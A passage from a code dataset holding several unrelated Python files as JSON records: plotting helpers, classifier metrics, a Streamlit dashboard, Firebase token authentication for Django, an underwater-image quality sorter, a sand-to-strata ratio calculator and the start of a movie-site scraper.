#plt.hold(True)\n if mode is None: plt.ioff() # hold contraol at show() (connect to keyboard for controllable re-drawing)\n else : plt.ion() # do not hold control\n plt.pause(0.001) # hack to make it work... othervise show() does not work...\n plt.show()\n\n\ndef draw():\n plt.draw()\n\n\ndef draw_fig(fig):\n fig.canvas.draw()\n\n\ndef save_plt(fname='img.png', verb=True):\n if verb: print('Save plot in file: %s' % fname)\n plt.savefig(fname)\n\n\ndef save_fig(fig, fname='img.png', verb=True):\n if verb: print('Save figure in file: %s' % fname)\n fig.savefig(fname)\n\n\ndef hist(axhi, arr, bins=None, amp_range=None, weights=None, color=None, log=False):\n \"\"\"Makes historgam from input array of values (arr), which are sorted in number of bins (bins) in the range (amp_range=(amin,amax))\n \"\"\"\n #axhi.cla()\n hi = axhi.hist(arr.flatten(), bins=bins, range=amp_range, weights=weights, color=color, log=log) #, log=logYIsOn)\n if amp_range is not None: axhi.set_xlim(amp_range) # axhi.set_autoscale_on(False) # suppress autoscailing\n wei, bins, patches = hi\n add_stat_text(axhi, wei, bins)\n return hi\n\n\ndef imshow(axim, img, amp_range=None, extent=None,\\\n interpolation='nearest', aspect='auto', origin='upper',\\\n orientation='horizontal', cmap='inferno'):\n \"\"\"\n extent - list of four image physical limits for labeling,\n cmap: 'jet', 'gray_r', 'inferno'\n #axim.cla()\n \"\"\"\n imsh = axim.imshow(img, interpolation=interpolation, aspect=aspect, origin=origin, extent=extent, cmap=cmap)\n if amp_range is not None: imsh.set_clim(amp_range[0],amp_range[1])\n return imsh\n\n\ndef colorbar(fig, imsh, axcb, orientation='vertical', amp_range=None):\n \"\"\"\n orientation = 'horizontal'\n amp_range = (-10,50)\n \"\"\"\n if amp_range is not None: imsh.set_clim(amp_range[0],amp_range[1])\n cbar = fig.colorbar(imsh, cax=axcb, orientation=orientation)\n return cbar\n\n\ndef imshow_cbar(fig, axim, axcb, img, amin=None, amax=None, extent=None,\\\n interpolation='nearest', aspect='auto', origin='upper',\\\n orientation='vertical', cmap='inferno'):\n \"\"\"\n extent - list of four image physical limits for labeling,\n cmap: 'gray_r'\n #axim.cla()\n \"\"\"\n axim.cla()\n if img is None: return\n ave = np.mean(img) if amin is None and amax is None else None\n rms = np.std(img) if amin is None and amax is None else None\n cmin = amin if amin is not None else ave-1*rms if ave is not None else None\n cmax = amax if amax is not None else ave+3*rms if ave is not None else None\n\n imsh = axim.imshow(img, interpolation=interpolation, aspect=aspect, origin=origin, extent=extent, cmap=cmap, vmin=cmin, vmax=cmax)\n cbar = fig.colorbar(imsh, cax=axcb, orientation=orientation)\n if cmin is not None:\n imsh.set_clim(cmin, cmax)\n #cbar.set_clim(cmin, cmax)\n return imsh, cbar\n\n\ndef test01():\n \"\"\" imshow\n \"\"\"\n img = random_standard(shape=(40,60), mu=200, sigma=25)\n #fig = figure(figsize=(6,5), title='Test imshow', dpi=80, facecolor='w', edgecolor='w', frameon=True, move=(100,10))\n #axim = add_axes(fig, axwin=(0.10, 0.08, 0.85, 0.88))\n fig, axim = fig_img_axes()\n move_fig(fig, x0=200, y0=100)\n imsh = imshow(axim, img, amp_range=None, extent=None,\\\n interpolation='nearest', aspect='auto', origin='upper',\\\n orientation='horizontal', cmap='jet')\n\n\ndef test02():\n \"\"\" hist\n \"\"\"\n mu, sigma = 200, 25\n arr = random_standard((500,), mu, sigma)\n #fig = figure(figsize=(6,5), title='Test hist', dpi=80, facecolor='w', edgecolor='w', frameon=True, move=(100,10))\n #axhi = add_axes(fig, axwin=(0.10, 0.08, 0.85, 0.88))\n fig, axhi = fig_img_axes()\n his = hist(axhi, arr, bins=100, amp_range=(mu-6*sigma,mu+6*sigma), weights=None, color=None, log=False)\n\n\ndef test03():\n \"\"\" Update image in the event loop\n \"\"\"\n #fig = figure(figsize=(6,5), title='Test hist', dpi=80, facecolor='w', edgecolor='w', frameon=True, move=(100,10))\n #axim = add_axes(fig, axwin=(0.10, 0.08, 0.85, 0.88))\n fig, axim = fig_img_axes()\n imsh = None\n for i in range(10):\n print('Event %3d' % i)\n img = random_standard((1000,1000), mu=200, sigma=25)\n #axim.cla()\n set_win_title(fig, 'Event %d' % i)\n\n if imsh is None:\n imsh = imshow(axim, img, amp_range=None, extent=None,\\\n interpolation='nearest', aspect='auto', origin='upper',\\\n orientation='horizontal', cmap='jet')\n else:\n imsh.set_data(img)\n show(mode=1)\n #draw_fig(fig)\n\n\ndef test04():\n \"\"\" Update histogram in the event loop\n \"\"\"\n mu, sigma = 200, 25\n #fig = figure(figsize=(6,5), title='Test hist', dpi=80, facecolor='w', edgecolor='w', frameon=True, move=(100,10))\n #axhi = add_axes(fig, axwin=(0.10, 0.08, 0.85, 0.88))\n fig, axhi = fig_img_axes()\n\n for i in range(10):\n print('Event %3d' % i)\n arr = random_standard((500,), mu, sigma, dtype=np.float)\n axhi.cla()\n set_win_title(fig, 'Event %d' % i)\n his = hist(axhi, arr, bins=100, amp_range=(mu-6*sigma,mu+6*sigma), weights=None, color=None, log=False)\n\n show(mode=1)\n #draw(fig)\n\n\ndef test05():\n \"\"\" Update image with color bar in the event loop\n \"\"\"\n fig, axim, axcb = fig_img_cbar_axes()\n move_fig(fig, x0=200, y0=0)\n imsh = None\n for i in range(20):\n print('Event %3d' % i)\n img = random_standard((1000,1000), mu=i, sigma=10)\n #axim.cla()\n set_win_title(fig, 'Event %d' % i)\n if imsh is None:\n imsh, cbar = imshow_cbar(fig, axim, axcb, img, amin=None, amax=None, extent=None,\\\n interpolation='nearest', aspect='auto', origin='upper',\\\n orientation='vertical', cmap='inferno')\n else:\n imsh.set_data(img)\n ave, rms = img.mean(), img.std()\n imsh.set_clim(ave-1*rms, ave+3*rms)\n show(mode=1)\n #draw_fig(fig)\n\n\ndef test_selected():\n\n from time import time\n import sys; global sys\n from pyimgalgos.NDArrGenerators import random_standard; global random_standard\n\n if len(sys.argv)==1:\n print('Use command > python %s ' % sys.argv[0])\n sys.exit ('Add in command line...')\n\n tname = sys.argv[1] if len(sys.argv) > 1 else '1'\n print(50*'_', '\\nTest %s' % tname)\n\n t0_sec=time()\n if tname == '1': test01()\n elif tname == '2': test02()\n elif tname == '3': test03()\n elif tname == '4': test04()\n elif tname == '5': test05()\n else: sys.exit('Test %s is not implemented' % tname)\n msg = 'Test %s consumed time %.3f' % (tname, time()-t0_sec)\n show()\n sys.exit(msg)\n\n\ndef test_all():\n test01()\n test02()\n show()\n\n\nif __name__ == \"__main__\":\n test_selected()\n #test_all()\n print('End of test')\n\n# EOF\n\n", "repo_name": "lcls-psana/pyimgalgos", "sub_path": "src/Graphics.py", "file_name": "Graphics.py", "file_ext": "py", "file_size_in_byte": 14044, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.get_backend", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 159, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ioff", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 210, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 210, "usage_type": "name"}, {"api_name": "CalibManager.PlotImgSpeWidget.add_stat_text", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 332, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 370, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 371, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 372, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 374, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 377, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 383, "usage_type": "call"}, {"api_name": "time.time", "line_number": 384, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 386, "usage_type": "call"}]} {"seq_id": "12036681431", "text": "import numpy as np\nimport pandas as pd\nimport plotly.graph_objects as go\n\ndef check(y_test, y_pred):\n if isinstance(y_test, pd.DataFrame):\n y_test = y_test.to_numpy().ravel()\n if isinstance(y_pred, pd.DataFrame):\n y_pred = y_pred.to_numpy()\n\n # try:\n # if y_proba.shape[1] == 2:\n # y_proba = y_proba[:, 1]\n # except IndexError:\n # pass\n\n return y_test, y_pred\n\n\ndef compute_confusion_matrix(y_test, y_proba, threshold=0.5, positive_label=1):\n tp = fp = tn = fn = 0\n bool_actuals = [act == positive_label for act in y_test]\n for truth, score in zip(bool_actuals, y_proba):\n if float(score) > float(threshold):\n if truth:\n tp += 1\n else:\n fp += 1\n else:\n if not truth:\n tn += 1\n else:\n fn += 1\n\n return {\"TP\": tp, \"FP\": fp, \"TN\": tn, \"FN\": fn}\n\n\ndef aggregate_confusion_matrices(confusion_matrices):\n tp = fp = tn = fn = 0\n for m in confusion_matrices:\n tp += m[\"TP\"]\n fp += m[\"FP\"]\n tn += m[\"TN\"]\n fn += m[\"FN\"]\n agg = {\"TP\": tp, \"FP\": fp, \"TN\": tn, \"FN\": fn}\n\n return agg\n\n\n# def compute_min_max_score(scores):\n# return min(scores), max(scores)\n\n\n# def agg_compute_thresholds(local_min_max_scores):\n# min_scores = [score[0] for score in local_min_max_scores]\n# max_scores = [score[1] for score in local_min_max_scores]\n# low = min(min_scores)\n# high = max(max_scores)\n# step = (abs(low) + abs(high)) / 1000\n# thresholds = np.arange(low - step, high + step, step)\n#\n# return thresholds\n\n\n# def find_nearest(array, value):\n# array = np.asarray(array)\n# idx = (np.abs(array - value)).argmin()\n# return idx\n\n\n# def compute_threshold_conf_matrices(actuals, scores, thresholds):\n# confusion_matrices = []\n# for threshold in thresholds:\n# confusion_matrices.append(confusion_matrix(actuals, scores, threshold))\n# return confusion_matrices\n\n\n# def compute_roc_parameters(confusion_matrices, thresholds):\n# results = {\"FPR\": list(map(false_positive_rate, confusion_matrices)),\n# \"TPR\": list(map(true_positive_rate, confusion_matrices)),\n# \"THR\": thresholds}\n#\n# return results\n\n\n# def roc_plot(fpr, tpr, thresholds):\n# auc = compute_roc_auc(fpr, tpr)\n#\n# df = pd.DataFrame(data=[fpr, tpr, thresholds]).transpose()\n# df.columns = [\"fpr\", \"tpr\", \"thresholds\"]\n# plt.title(\"Receiver operating characteristic\")\n# plt.plot(fpr, tpr, color='darkorange', label='AUC: %.3f' % auc)\n# plt.plot([0, 1], [0, 1], color='navy', linestyle='--')\n#\n# plt.xlabel('False Positive Rate')\n# plt.ylabel('True Positive Rate')\n# plt.legend()\n#\n# return plt, df\n\n\n# def compute_roc_auc(fpr, tpr):\n# auc = -1 * np.trapz(tpr, fpr)\n# return auc\n\n\ndef false_positive_rate(conf_mtrx):\n fp = conf_mtrx[\"FP\"]\n tn = conf_mtrx[\"TN\"]\n fpr = fp / (fp + tn) if (fp + tn) != 0 else 0\n return fpr\n\n\ndef true_positive_rate(conf_mtrx):\n tp = conf_mtrx[\"TP\"]\n fn = conf_mtrx[\"FN\"]\n tpr = tp / (tp + fn) if (tp + fn) != 0 else 0\n return tpr\n\n\ndef sensitivity(tp, fn):\n sens = tp / (tp + fn) if (tp + fn) != 0 else 0\n return sens\n\n\ndef specificity(tn, fp):\n spec = tn / (tn + fp) if (tn + fp) != 0 else 0\n return spec\n\n\ndef accuracy(tn, tp, fn, fp):\n acc = (tn + tp) / (tn + tp + fn + fp) if (tn + tp + fn + fp) != 0 else 0\n return acc\n\n\ndef precision(tp, fp):\n prec = tp / (tp + fp)\n return prec\n\n\ndef recall(tp, fn):\n rec = tp / (tp + fn)\n return rec\n\n\ndef matthews_corrcoef(tp, tn, fp, fn):\n try:\n mcc = (tp * tn - fp * fn) / (np.sqrt((tp + fp) * (tp + fn) * (tn + fp) * (tn + fn)))\n except:\n mcc = np.nan\n return mcc\n\n\ndef f1(prec, rec):\n f1 = 2 * (prec * rec) / (prec + rec)\n return f1\n\n\ndef create_score_df(conf_mtrx):\n tp = conf_mtrx[\"TP\"]\n tn = conf_mtrx[\"TN\"]\n fp = conf_mtrx[\"FP\"]\n fn = conf_mtrx[\"FN\"]\n\n sens = sensitivity(tp, fn)\n spec = specificity(tn, fp)\n acc = accuracy(tn, tp, fn, fp)\n prec = precision(tp, fp)\n rec = recall(tp, fn)\n f = f1(prec, rec)\n mcc = matthews_corrcoef(tp, tn, fp, fn)\n\n scores = [\"sensitivity\", \"specificity\", \"accuracy\", \"precision\", \"recall\", \"f1_score\", \"mcc\"]\n data = [sens, spec, acc, prec, rec, f, mcc]\n\n df = pd.DataFrame(list(zip(scores, data)), columns=[\"metric\", \"score\"])\n\n return df, data\n\ndef create_cv_accumulation(accs, f1s, mccs, precs, recs):\n scores = [accs, f1s, mccs, precs, recs]\n cols = [\"accuracy\", \"f1-score\", \"mcc\", \"precision\", \"recall\"]\n\n df = pd.DataFrame(data=scores).transpose()\n df.columns = cols\n\n return df\n\ndef plot_boxplots(df, title):\n fig = go.Figure()\n fig.add_trace(go.Box(y=df[\"accuracy\"], quartilemethod=\"linear\", name=\"Accuracy\"))\n fig.add_trace(go.Box(y=df[\"precision\"], quartilemethod=\"linear\", name=\"Precision\"))\n fig.add_trace(go.Box(y=df[\"recall\"], quartilemethod=\"linear\", name=\"Recall\"))\n fig.add_trace(go.Box(y=df[\"f1-score\"], quartilemethod=\"linear\", name=\"f1-score\"))\n fig.add_trace(go.Box(y=df[\"mcc\"], quartilemethod=\"linear\", name=\"MCC\"))\n fig.update_layout(title=title)\n fig.update_yaxes(range=[0, 1])\n\n return fig\n", "repo_name": "FeatureCloud/fc-clf-evaluation", "sub_path": "app/algo.py", "file_name": "algo.py", "file_ext": "py", "file_size_in_byte": 5303, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.DataFrame", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 176, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 184, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 190, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 190, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Box", "line_number": 191, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 191, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Box", "line_number": 192, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 192, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Box", "line_number": 193, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 193, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Box", "line_number": 194, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 194, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Box", "line_number": 195, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 195, "usage_type": "name"}]} {"seq_id": "74996914781", "text": "import streamlit as st\nimport pandas as pd\nimport plotly.express as px\n\n# Set page configuration\nst.set_page_config(page_title=\"Customer Reviews\")\n\nwith open(\"style.css\") as f:\n st.markdown(\"\".format(f.read()), unsafe_allow_html=True)\n\nst.header(\"Analyzed Customer Reviews\")\nst.subheader(\"Ratings from the customer\")\n\nexcel_file = 'Review_Ans.xlsx'\nexcel_file2 = 'opinion.xlsx'\nsheet = 'Sheet1'\n\n# Takes the following total columns and presents them\nst.header(\"Customer Information\")\ndf = pd.read_excel(excel_file,\n sheet_name=sheet,\n usecols='A:C',\n header=0,)\n\n# Take the opinion excel file and generates a pie chart\nst.subheader(\"Information on the reviews informations\")\nopinion = pd.read_excel(excel_file2,\n sheet_name=sheet,\n usecols='A:C',\n header=0,)\npie = px.pie(opinion, title=\"Reviews\", values=\"ProfileName\", names=\"Opinion\")\n\n\nst.button(\"Send a message\")\nst.image(\"whatsapp.png\", \"Send a message to users\", 100)\n\nst.dataframe(df)\nst.plotly_chart(pie)\n", "repo_name": "alimalim77/RestaurantReviewSystem", "sub_path": "pyscript/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "streamlit.set_page_config", "line_number": 6, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 9, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 11, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 12, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 20, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 27, "usage_type": "call"}, {"api_name": "plotly.express.pie", "line_number": 31, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 31, "usage_type": "name"}, {"api_name": "streamlit.button", "line_number": 34, "usage_type": "call"}, {"api_name": "streamlit.image", "line_number": 35, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 37, "usage_type": "call"}, {"api_name": "streamlit.plotly_chart", "line_number": 38, "usage_type": "call"}]} {"seq_id": "12984578028", "text": "from account.models import User\r\nfrom rest_framework import authentication\r\nfrom rest_framework import exceptions\r\nfrom firebase_admin import auth\r\nfrom rest_framework.response import Response\r\nfrom rest_framework import status\r\nfrom rest_framework.exceptions import AuthenticationFailed\r\n\r\nclass FirebaseAuthentication(authentication.BaseAuthentication):\r\n def authenticate(self, request):\r\n \r\n token = request.headers.get('Authorization')\r\n if not token:\r\n message = { \r\n \"message\": \"You don't have enough permission please provide a token\",\r\n \"status\": status.HTTP_403_FORBIDDEN\r\n }\r\n raise AuthenticationFailed(message)\r\n\r\n try:\r\n decoded_token = auth.verify_id_token(token)\r\n uid = decoded_token[\"uid\"]\r\n except:\r\n message = { \r\n \"message\": \"You don't have enough permission please provide a valid tocken\",\r\n \"status\": status.HTTP_403_FORBIDDEN\r\n }\r\n raise AuthenticationFailed(message)\r\n\r\n try:\r\n user = User.objects.get(username=uid)\r\n except User.DoesNotExist:\r\n message = { \r\n \"message\": \"Coudn't find a valid user in our database\",\r\n \"status\": status.HTTP_403_FORBIDDEN\r\n }\r\n raise AuthenticationFailed(message)\r\n\r\n return (user, None)\r\n \r\n # # # Test Only ##\r\n # user = User.objects.get(username='BkVTy9o8O3Te8CVCkHNvVHXprDn2')\r\n # return (user, None)", "repo_name": "Hash-IQ/PetAppBackend", "sub_path": "PettApp/authentication.py", "file_name": "authentication.py", "file_ext": "py", "file_size_in_byte": 1583, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "rest_framework.authentication.BaseAuthentication", "line_number": 9, "usage_type": "attribute"}, {"api_name": "rest_framework.authentication", "line_number": 9, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 16, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 16, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.AuthenticationFailed", "line_number": 18, "usage_type": "call"}, {"api_name": "firebase_admin.auth.verify_id_token", "line_number": 21, "usage_type": "call"}, {"api_name": "firebase_admin.auth", "line_number": 21, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 26, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 26, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.AuthenticationFailed", "line_number": 28, "usage_type": "call"}, {"api_name": "account.models.User.objects.get", "line_number": 31, "usage_type": "call"}, {"api_name": "account.models.User.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "account.models.User", "line_number": 31, "usage_type": "name"}, {"api_name": "account.models.User.DoesNotExist", "line_number": 32, "usage_type": "attribute"}, {"api_name": "account.models.User", "line_number": 32, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 35, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 35, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.AuthenticationFailed", "line_number": 37, "usage_type": "call"}]} {"seq_id": "6651852603", "text": "import UCIQE\r\nimport UIQM\r\nimport cv2\r\nimport numpy as np\r\nimport os\r\nimport glob\r\nimport openpyxl\r\nimport shutil\r\nimport haze\r\nimport resize\r\n\r\ndef fetchimages(path ) :\r\n return[os.path.join(path,f)for f in os.listdir(path) if (f.endswith('.png') or f.endswith('.jpg') or f.endswith('.jpeg') or f.endswith('.webp') or f.endswith('.jpeg') or f.endswith('.jfif') )]\r\n\r\ndef return_resized_images(file):\r\n image = cv2.imread(file)\r\n return(resize.resize(image))\r\n\r\ndef name_of_Image(source , a):\r\n \r\n d =source+ \"\\\\\"\r\n a = a.replace(d, '')\r\n return a\r\n\r\ndef paste_resized_images(image , c , nam):\r\n if(c == 1):\r\n cv2.imwrite(\"C:\\\\Users\\\\hp\\\\Desktop\\\\clear\\\\d_\"+nam,image)\r\n elif(c == 0):\r\n cv2.imwrite(\"C:\\\\Users\\\\hp\\\\Desktop\\\\degraded\\\\d_\"+nam,image)\r\n \r\n\r\n\r\ndef sep(source,degraded,clear,exel, row, m_uism, m_uicm, m_uiqm):\r\n\r\n #Insert the path of the exel sheet in which the values is to be pasted\r\n re=openpyxl.load_workbook(exel)\r\n sheet=re['Sheet1']\r\n\r\n filename = fetchimages(source)\r\n num=0\r\n i=len(filename)\r\n\r\n k=sheet.cell(row=1,column=1)\r\n k.value=\"NAME\"\r\n k=sheet.cell(row=1,column=2)\r\n k.value=\"ucique\"\r\n k=sheet.cell(row=1,column=3)\r\n k.value=\"uiqm\"\r\n k=sheet.cell(row=1,column=4)\r\n k.value=\"uicm\"\r\n k=sheet.cell(row=1,column=5)\r\n k.value=\"uism\"\r\n k=sheet.cell(row=1,column=6)\r\n k.value=\"uiconm\"\r\n k=sheet.cell(row=1,column=7)\r\n k.value=\"Haze\"\r\n k=sheet.cell(row=1,column=8)\r\n k.value=\"chroma\"\r\n k=sheet.cell(row=1,column=9)\r\n k.value=\"luminance\"\r\n k=sheet.cell(row=1,column=10)\r\n k.value=\"saturation\"\r\n k=sheet.cell(row=1,column=11)\r\n k.value=\"class\"\r\n ro=row\r\n co=1\r\n\r\n while (num 5.00 and colourfullness>4.20 and ((sharpness + colourfullness + contrast)>9.5) and (haze.haze(filename[num]) > 950)):\r\n #shutil.copy(filename[num], clear)\r\n #paste_resized_images(image , 1 , nam[last:])\r\n k=sheet.cell(row=ro,column=11)\r\n k.value=1\r\n else: \r\n # shutil.copy(filename[num], degraded)\r\n #paste_resized_images(image , 0 , nam[last:])\r\n k=sheet.cell(row=ro,column=11)\r\n k.value=0\r\n \r\n \r\n\r\n num+=1\r\n ro+=1 \r\n print(num)\r\n re.save(exel)\r\n \r\n \r\n re.save(exel)\r\n \r\n return ro ,m_uism, m_uicm, m_uiqm", "repo_name": "akshaykulkarni175/UnderwaterImageSegregation", "sub_path": "with_exel.py", "file_name": "with_exel.py", "file_ext": "py", "file_size_in_byte": 3716, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 16, "usage_type": "call"}, {"api_name": "resize.resize", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 29, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 36, "usage_type": "call"}, {"api_name": "UIQM.uism", "line_number": 71, "usage_type": "call"}, {"api_name": "UIQM.uicm", "line_number": 72, "usage_type": "call"}, {"api_name": "UIQM.uiconm", "line_number": 73, "usage_type": "call"}, {"api_name": "UCIQE.chroma", "line_number": 75, "usage_type": "call"}, {"api_name": "UCIQE.luminance", "line_number": 76, "usage_type": "call"}, {"api_name": "UCIQE.saturation", "line_number": 77, "usage_type": "call"}, {"api_name": "UCIQE.ucique", "line_number": 90, "usage_type": "call"}, {"api_name": "haze.haze", "line_number": 113, "usage_type": "call"}, {"api_name": "haze.haze", "line_number": 127, "usage_type": "call"}]} {"seq_id": "24169858903", "text": "'''\r\n 作者：J.\r\n 日期：2019.4.14\r\n 功能：计算砂地比\r\n 版本：2.0\r\n 2.0 新增功能：分层序计算砂地比，模块化计算程序\r\n'''\r\nimport xlrd\r\n\r\ndef list_section(col_top_depth, top, bottom):\r\n list_sec = []\r\n for i, element in enumerate(col_top_depth):\r\n if element != '顶深' and element >= top and element <= bottom:\r\n list_sec.append(i)\r\n return list_sec\r\n\r\ndef sand_to_strata(col_petrology, top, bottom, col_top_depth, col_bottom_depth):\r\n\r\n\r\n list_sand = []\r\n\r\n for i, element in enumerate(col_petrology):\r\n if '砂岩' in element or '砾岩' in element and '泥质粉砂岩' not in element:\r\n list_sand.append(i)\r\n\r\n list_sec = list_section(col_top_depth, top, bottom)\r\n\r\n list_sand_in_sec = list(set(list_sand).intersection(list_sec))\r\n # print(list_sand_in_sec)\r\n\r\n list_sand_to_strata = []\r\n for i in list_sand_in_sec:\r\n thickness = col_bottom_depth[i] - col_top_depth[i]\r\n list_sand_to_strata.append(round(thickness, 2))\r\n\r\n strata_thickness = bottom - top\r\n sand_to_strata_value = round(sum(list_sand_to_strata) / strata_thickness, 4)\r\n # print(sum(list_sand_to_strata), strata_thickness)\r\n return sand_to_strata_value\r\n\r\ndef main():\r\n\r\n data = xlrd.open_workbook('高11.xlsx')\r\n table = data.sheets()[0]\r\n\r\n\r\n col_top_depth = table.col_values(0)\r\n col_bottom_depth = table.col_values(1)\r\n col_petrology = table.col_values(2)\r\n\r\n bottom = col_bottom_depth[len(col_bottom_depth) -1]\r\n\r\n\r\n # print(top, bottom)\r\n #\r\n # print(sand_to_strata(col_petrology, top, bottom, col_top_depth, col_bottom_depth))\r\n\r\n\r\n\r\n # 读取层序划分列\r\n col_strata = table.col_values(6)\r\n while '' in col_strata:\r\n col_strata.remove('')\r\n\r\n # print(col_strata)\r\n Es1s_1 = sand_to_strata(col_petrology, col_strata[1], col_strata[2], col_top_depth, col_bottom_depth)\r\n Es1s_2 = sand_to_strata(col_petrology, col_strata[2], col_strata[3], col_top_depth, col_bottom_depth)\r\n Es1s_3 = sand_to_strata(col_petrology, col_strata[3], col_strata[4], col_top_depth, col_bottom_depth)\r\n Es1xt = sand_to_strata(col_petrology, col_strata[4], col_strata[5], col_top_depth, col_bottom_depth)\r\n Es1xw = sand_to_strata(col_petrology, col_strata[5], col_strata[6], col_top_depth, col_bottom_depth)\r\n Es2s = sand_to_strata(col_petrology, col_strata[6], col_strata[7], col_top_depth, col_bottom_depth)\r\n Es2x = sand_to_strata(col_petrology, col_strata[7], col_strata[8], col_top_depth, col_bottom_depth)\r\n Es3s = sand_to_strata(col_petrology, col_strata[8], bottom, col_top_depth, col_bottom_depth)\r\n well_name = table.cell(0, 6).value\r\n list_final = [well_name, Es1s_1, Es1s_2, Es1s_3, Es1xt, Es1xw, Es2s, Es2x, Es3s]\r\n print(list_final)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()", "repo_name": "ZJ-Gao/SandtoStrata", "sub_path": "sand_to_strata_v2.0.py", "file_name": "sand_to_strata_v2.0.py", "file_ext": "py", "file_size_in_byte": 2868, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "xlrd.open_workbook", "line_number": 43, "usage_type": "call"}]} {"seq_id": "26986211098", "text": "import requests\nimport re\nimport csv\n\nurl=\"https://m.dytt8.net/index2.htm\"\ndomain=\"https://m.dytt8.net\"\nresp=requests.get(url)\nresp.encoding='gb2312'\n\nobj1=re.compile(r'2022新片精品.*?
{uuid}
